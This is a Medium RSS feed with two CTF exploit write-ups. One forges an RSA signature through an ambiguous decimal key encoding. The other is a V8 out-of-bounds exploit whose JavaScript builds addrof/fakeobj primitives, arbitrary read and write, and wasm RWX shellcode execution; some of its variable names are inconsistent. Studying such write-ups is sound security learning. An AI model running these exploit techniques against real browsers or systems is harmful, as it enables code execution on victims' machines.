<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0verflowme on Medium]]></title>
        <description><![CDATA[Stories by 0verflowme on Medium]]></description>
        <link>https://medium.com/@priyanshukumarpu?source=rss-f891bc52a46a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*RgLKR4d4o6c7ME3CgY9dtg.png</url>
            <title>Stories by 0verflowme on Medium</title>
            <link>https://medium.com/@priyanshukumarpu?source=rss-f891bc52a46a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:59:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@priyanshukumarpu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[KUPONG Coupon Checker (Hack.lu CTF 2025) – Exhaustive Exploit Write-up]]></title>
            <link>https://medium.com/@priyanshukumarpu/kupong-coupon-checker-hack-lu-ctf-2025-exhaustive-exploit-write-up-600105ba975c?source=rss-f891bc52a46a------2</link>
            <guid isPermaLink="false">https://medium.com/p/600105ba975c</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[rsa]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <dc:creator><![CDATA[0verflowme]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 12:12:29 GMT</pubDate>
            <atom:updated>2025-10-20T12:12:29.636Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ODs-GYw4mVXd5DBtb39vzg.png" /></figure><p><strong>TL;DR</strong></p><ul><li>The service accepts an X.509 certificate and checks the public key by converting each DER byte to its decimal string and concatenating the result.</li><li>That conversion is <strong>not</strong> injective. We can reinterpret the 710-digit string in many different ways, creating alternative RSA public keys that still pass the check.</li><li>By sampling those ambiguous encodings we eventually obtain a modulus N = p * q where p = 101 is tiny. Factoring the modulus is now trivial.</li><li>With the recovered private key we forge a PKCS#1 v1.5 signature on the fixed message gib flag bitti bitti, send it to the service, and receive the flag.</li></ul><h2>Challenge Recap</h2><p>The Python service (app.py) reads:</p><pre>cert = load_pem_x509_certificate(cert_bytes)<br>if get_pubkey(cert) != TARGET_DIGITS:<br>    print(&#39;Bad cert!&#39;); return<br>if not cert.public_key().verify(sig, data, PKCS1v15(), SHA256()):<br>    print(&#39;Bad sig!&#39;); return<br>if data != b&quot;gib flag bitti bitti&quot;:<br>    print(&#39;Bad data!&#39;); return<br>print(FLAG)</pre><p>The vulnerable helper is:</p><pre>def get_pubkey(cert):<br>    return &#39;&#39;.join(map(str, cert.public_key().public_bytes(<br>        encoding=Encoding.DER,<br>        format=PublicFormat.SubjectPublicKeyInfo,<br>    )))</pre><p>Each byte of the DER-encoded SubjectPublicKeyInfo (SPKI) becomes its decimal string. Those strings are concatenated and compared against one hard-coded 710-digit string.</p><p><strong>Key observation:</strong> different byte sequences can map to the same decimal string. 48 130 134 encodes as &quot;48130134&quot;, but so does 48 130 13 4. The check only enforces the decimal representation, not the actual public key.</p><h2>Tooling Up</h2><p>All work happens in solve.py (467 lines). Important helpers:</p><ul><li>_options(idx) returns every (next_index, byte_value) pair that can start at digit position idx.</li><li>_can_finish(idx, remaining) says whether there is a valid continuation that eventually produces the exponent bytes 02 03 01 00 01.</li><li>sample_modulus(rng) walks the decimal string randomly, assembling 257 bytes of modulus that still allow the correct exponent suffix.</li><li>factorize(N) uses trial division, Miller–Rabin, and Pollard’s Rho to split the sampled modulus.</li><li>build_private_key_from_primes(p, q) glues the RSA parameters together and gives us a cryptography private key.</li></ul><p>All of this is wrapped in a main() that signs the target message and pipes the result through the challenge’s verify function for local confirmation.</p><h2>Dead Ends and Lessons</h2><h3>1. Wrong SPKI Layout</h3><p>We initially assumed the outer SEQUENCE length was 0x0134 (308 bytes). _consume_fixed died at digit offset 6:</p><pre>ValueError: Unable to match byte 52 at digit offset 6</pre><p>The fix: inspect the genuine certificate and adjust the prefix to 0x0122 (290 bytes). Once that matched, all other parsing fell into place.</p><h3>2. Small-Prime Forcing</h3><p>With the parser working, our first exploit attempt forced the modulus to be divisible by a small prime p. We carried the modulus remainder mod p during DFS and only accepted branches where the remainder hit zero.</p><p>This looked clever but failed in practice. The quotient q = N / p stubbornly remained a 2048-bit composite. Factorisation never finished. Lesson: constraining a single small prime factor does not make the remaining factor(s) small.</p><h2>Switching Strategies</h2><p>After ditching prime forcing we embraced randomness:</p><ol><li>sample_modulus picks any valid digit segmentation.</li><li>factorize attacks the resulting modulus with Pollard’s Rho.</li><li>If exactly two factors appear and they are distinct, we attempt to build the private key and confirm the decimal string still matches the guard.</li></ol><p>This iteration was surprisingly effective. Within a few hundred samples we saw logs like:</p><pre>Found modulus with factors 101 and 2504824237032465530711150153794793...</pre><p>p = 101 is tiny, q is a 2041-bit probable prime, and we can compute d = e^{-1} mod (p-1)(q-1) immediately.</p><h2>Forging the Coupon</h2><p>With the RSA private key in hand we:</p><ol><li>Build a self-signed certificate that includes our forged SPKI.</li><li>Sign the fixed message using PKCS#1 v1.5 + SHA-256.</li><li>Call app.verify locally, observe flag{dummy}, then send the certificate/plaintext/signature to the remote instance for the real flag.</li></ol><p>The output of python solve.py includes:</p><pre>Found modulus with factors 101 and 2504824...<br>Verifying locally using app.verify…<br>flag{dummy}</pre><pre>-----BEGIN CERTIFICATE-----<br>...<br>-----END CERTIFICATE-----</pre><pre>Signature (hex): 3c8f2f19feec7ae9643ead9d...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bav_ymS6lt6Q2NxZeTYgNQ.png" /></figure><p>Drop this payload into the challenge server to redeem the coupon.</p><p>If you want the complete exploit code or a runnable demo, grab solve.py from the repo and run: <a href="https://gist.github.com/0verflowme/a848738db12ab9bedf954d04a28f1f9d">https://gist.github.com/0verflowme/a848738db12ab9bedf954d04a28f1f9d</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=600105ba975c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[V8 Exploitation : Star CTF 2019 OOB-v8]]></title>
            <link>https://medium.com/@priyanshukumarpu/v8-exploitation-star-ctf-2019-oob-v8-3c61457f116f?source=rss-f891bc52a46a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c61457f116f</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[attacking-javascript]]></category>
            <category><![CDATA[v8-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[0verflowme]]></dc:creator>
            <pubDate>Wed, 15 Jul 2020 22:34:33 GMT</pubDate>
            <atom:updated>2020-07-16T09:13:30.077Z</atom:updated>
            <content:encoded><![CDATA[<h3>V8 Exploitation : Star CTF 2019 OOB-v8</h3><p>Recently , I started learning about V8 internals and it’s exploitation and came across this nice Challenge from Star CTF and here is what and how i learned from this Challenge.</p><h3>Building d8</h3><p>I’ll build both versions of d8 Debug and Release , I’ll mainly work on Release but i’ll switch back and forth frequently bcuz Debug version has more Verbose output.</p><blockquote>failsafe@idk:~/chrome$ git clone <a href="https://chromium.googlesource.com/chromium/tools/depot_tools.git">https://chromium.googlesource.com/chromium/tools/depot_tools.git</a><br>failsafe@idk:~/chrome$ export PATH=$(pwd)/depot_tools:$PATH</blockquote><p>next thing, Challenge files you can get it from <a href="https://github.com/Changochen/CTF/raw/master/2019/*ctf/Chrome.tar.gz">here</a> , I leave rest building d8 task you , The V8 commit is 6dc88c191f5ecc5389dc26efa3ca0907faef3598 , Just a tip that don’t build d8 as root 😉 and let’s get to technical details.</p><h3>Analyzing the Patch</h3><figure><img alt="oob.diff" src="https://cdn-images-1.medium.com/max/843/1*dnYuQ8_EG7Ow9NCdRGxosw.png" /></figure><p>So , Basically the patch added a new function “oob” that allow us to Read/Write value based on length of Array instead of length-1 , that’s the bug , don’t get it ? okay, consider this example</p><blockquote>var a = [1.1,1.2]; //making array of length 2<br>a.oob() //it’ll fetch a[2] which don’t exist (in theory)<br>a.oob(0x123) //it’ll write a[2] = 0x123</blockquote><p>so we can write a value out of the array without any bound checking , This results into the bug <strong>Out-Of-bounds</strong> Access</p><h3>What Exists at End of the Array ?</h3><p>As we can read write the end of array , we should understand what are we really editing in order to exploit the vulnerability. The best way to know is to analyze it in gdb with “run —allow-native-syntaxes”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HgzOCR8oG7FNlblJ-hZriQ.png" /><figcaption>output of %DebugPrint(a);</figcaption></figure><p>This is a lots of output but we don’t need all of it for now. The DebugPrint shows a address “0x7b61120dd79” , let’s see what’s that but keep in mind that pointers are tagged so we have to look for 0x7b61120dd79–1 actually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*1fvGIB-tzYgcDAt9eTmnyg.png" /><figcaption>gdb2</figcaption></figure><p>if you Compare the output of this image with the output of DebugPrint , you can see clearly that 1st address belong to map , 2nd address belong to FixedArray and 3rd field is actually the address of the Elements . cool , let’s try to look at Elements pointer .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*zS1OdEQgD09-HFR64yPapA.png" /><figcaption>gdb3</figcaption></figure><p>those values 0x3ff199999999999a and after that looks familiar let’s see it in decimal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*qUsoh6BSPFaYNPoF_MQ_Jw.png" /><figcaption>gdb4</figcaption></figure><p>nice , so that’s where out values are stored , also that weird 0x0000000200000000 is just the length of our array `value &gt;&gt; 32`<br>since the stack is upside down then 0x000016a44dd014f9(map of array) should exist the end of array , That’s exactly what we’re modifying.<br>Time to verify our theory on Release version , also i used this small script to convert back and forth from float to integer and vice versa.</p><pre><strong>var</strong> buf <strong>=</strong> <strong>new</strong> ArrayBuffer(8);<br><strong>var</strong> f64_buf <strong>=</strong> <strong>new</strong> Float64Array(buf);<br><strong>var</strong> u64_buf <strong>=</strong> <strong>new</strong> Uint32Array(buf);<br><br><strong>function</strong> ftoi(val) { <br>    f64_buf[0] <strong>=</strong> val;<br>    <strong>return</strong> BigInt(u64_buf[0]) <strong>+</strong> (BigInt(u64_buf[1]) <strong>&lt;&lt;</strong> 32n);<br>}<br><br><strong>function</strong> itof(val) { <br>    u64_buf[0] <strong>=</strong> Number(val <strong>&amp;</strong> 0xffffffffn);<br>    u64_buf[1] <strong>=</strong> Number(val <strong>&gt;&gt;</strong> 32n);<br>    <strong>return</strong> f64_buf[0];<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*ByfPn0BfoOtJKyGsDNWeKw.png" /><figcaption>gdb5</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*rBLgBvAu3DrqQdSAaDs7Ww.png" /><figcaption>gdb6</figcaption></figure><p>Bingo, we can see our theory verified this address is indeed Map of jsArray.</p><h3>Map Parsing Bug (Getting Control)</h3><p>Map plays an important role in js engine exploitation, you can learn more about Map in Saelo’s Phrack paper <a href="http://www.phrack.org/papers/jit_exploitation.html">jit_exploitation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*TB17JaZLKV6epzN9IPcr1w.png" /><figcaption>adding obj in array to analyze</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*M-RcdqICokxsIQc0_0wiLw.png" /><figcaption>gdb7</figcaption></figure><p>so our obj array has address of same place where you try to access obj_arr[0]. but when you try to access it it’ll not print the floating point representation , but it’ll parse it print {“A”: 1.1} itself.</p><p>So, our plan now is to make a Float array and a js Obj also it’s array then try to Overwrite the Map of Obj with the Map of Float Map then try to access the element of object array then it should give us Map of object itself , let’s try this out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*0ixJIrRoxSUE1xXVZfYRSA.png" /><figcaption>Demonstration of js addrof primitive</figcaption></figure><p>success, In js terminology it’s called addrof primitive and the inverse of this is called fakeobj primitive. we’ll add these functions to our exploit</p><pre><strong>var</strong> temp_obj <strong>=</strong> {&quot;A&quot;:1};<br><strong>var</strong> obj_arr <strong>=</strong> [temp_obj];<br><strong>var</strong> fl_arr <strong>=</strong> [1.1, 1.2, 1.3, 1.4];<br><strong>var</strong> map1 <strong>=</strong> obj_arr.oob();<br><strong>var</strong> map2 <strong>=</strong> fl_arr.oob();<br><br><strong>function</strong> addrof(in_obj) {<br>    obj_arr[0] <strong>=</strong> in_obj;<br>    obj_arr.oob(map2);<br>    <strong>let</strong> addr <strong>=</strong> obj_arr[0];<br>    obj_arr.oob(map1);<br>    <strong>return</strong> ftoi(addr);<br>}<br><br><strong>function</strong> fakeobj(addr) {<br>    float_arr[0] <strong>=</strong> itof(addr);<br>    float_arr.oob(obj_arr_map);<br>    <strong>let</strong> fake <strong>=</strong> float_arr[0];<br>    float_arr.oob(float_arr_map);<br>    <strong>return</strong> fake;<br>}</pre><h3>More Control</h3><p>If you play more with the debug version you’ll notice that the difference between JSArray and their Elements is 0x30 and it always remains the constant and difference between Elements and index[0] is also constant i.e 0x10.</p><p><strong>Arbitrary Read</strong></p><p>To achieve arbitrary read we’ll put a fakeobj at `address we want to read-0x10` assume if our fakeobj is at index[0] then it’ll point to index[2] which is +0x10 , let’s test this theory out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*vIfFQzQ_qutbrwugCa7hvQ.png" /><figcaption>Arbitrary Read</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*lKAmaOji3WKrqcOFhW_7cw.png" /><figcaption>gdb8</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*rPU8ReYO460_GrhJrPGc6Q.png" /><figcaption>gdb9</figcaption></figure><p>we can successfully read the values from 0x16757c591380 , similar we’ll implement arbitrary write</p><pre><strong>var</strong> arb_rw_arr <strong>=</strong> [float_arr_map, 1.2, 1.3, 1.4];<br><br>console.log(&quot;[+] Controlled float array: 0x&quot; <strong>+</strong> addrof(arb_rw_arr).toString(16));<br><br><strong>function</strong> arb_read(addr) {<br>    <strong>if</strong> (addr <strong>%</strong> 2n <strong>==</strong> 0)<br>	addr <strong>+=</strong> 1n;<br>    <strong>let</strong> fake <strong>=</strong> fakeobj(addrof(arb_rw_arr) <strong>-</strong> 0x20n);<br>    arb_rw_arr[2] <strong>=</strong> itof(BigInt(addr) <strong>-</strong> 0x10n);<br>    <strong>return</strong> ftoi(fake[0]);<br>}<br><br><strong>function</strong> initial_arb_write(addr, val) {<br>    <strong>let</strong> fake <strong>=</strong> fakeobj(addrof(arb_rw_arr) <strong>-</strong> 0x20n);<br>    arb_rw_arr[2] <strong>=</strong> itof(BigInt(addr) <strong>-</strong> 0x10n);<br>    fake[0] <strong>=</strong> itof(BigInt(val));<br>}</pre><h3>Ghost In The Shellcode</h3><p>At this point we have everything we need to exploit this v8 , There are pretty much 2 ways to exploit this now :<br>1: ROP<br>2: Generating a RWX page in Memory with help of wasm ,where we can put our shellcode and execute our shellcode with f();</p><p>However i’ll cover the wasm method here bcuz it’s easy, efficient and also this post is getting longer , i might do the ROP method in next post</p><p>First we’ll spray wasm code on Memory so that it’ll create a RWX section where i can put my shellcode , This wasm code can be anything it won’t matter if it’s a hello world or it’s a AI in wasm 😒 , we just want the RWX section. i’ll use this wasm code</p><pre><strong>var</strong> wasm_code <strong>=</strong> <strong>new</strong> Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);<br><strong>var</strong> wasm_mod <strong>=</strong> <strong>new</strong> WebAssembly.Module(wasm_code);<br><strong>var</strong> wasm_instance <strong>=</strong> <strong>new</strong> WebAssembly.Instance(wasm_mod);<br><strong>var</strong> f <strong>=</strong> wasm_instance.exports.main;</pre><p>Then i’ll analyze it using gef search-pattern turns out that base address of RWX section is always addrof(wasm_instance)-1n+0x88n</p><p>All Hard Part done , now we just have to copy the Shellcode to the RWX section and execute it.</p><pre><strong>var</strong> rwx_page_addr <strong>=</strong> arb_read(addrof(wasm_instance)<strong>-</strong>1n<strong>+</strong>0x88n);<br><br>console.log(&quot;[+] RWX Wasm page addr: 0x&quot; <strong>+</strong> rwx_page_addr.toString(16));<br><strong>function</strong> copy_shellcode(addr, shellcode) {<br>    <strong>let</strong> buf <strong>=</strong> <strong>new</strong> ArrayBuffer(0x100);<br>    <strong>let</strong> dataview <strong>=</strong> <strong>new</strong> DataView(buf);<br>    <strong>let</strong> buf_addr <strong>=</strong> addrof(buf);<br>    <strong>let</strong> backing_store_addr <strong>=</strong> buf_addr <strong>+</strong> 0x20n;<br>    initial_arb_write(backing_store_addr, addr);<br><br>    <strong>for</strong> (<strong>let</strong> i <strong>=</strong> 0; i <strong>&lt;</strong> shellcode.length; i<strong>++</strong>) {<br>	dataview.setUint32(4<strong>*</strong>i, shellcode[i], <strong>true</strong>);<br>    }<br>}<br><br>//This Shell code is to spawn xcalc , look at my full exploit for /bin//sh<br><strong>var</strong> shellcode<strong>=</strong>[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*jHx7Mr1-_43K696rkNaCXg.png" /><figcaption>and done!</figcaption></figure><h3>My Full Exploit</h3><p><a href="https://github.com/Failsafe-0verflowme/Writeup/blob/master/star_ctf_2019_oob_v8.js">Failsafe-0verflowme/Writeup</a></p><h3>References</h3><ul><li><a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">Exploiting v8: *CTF 2019 oob-v8</a></li><li><a href="https://fineas.github.io/FeDEX/blog.html">FeDEX - website</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c61457f116f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>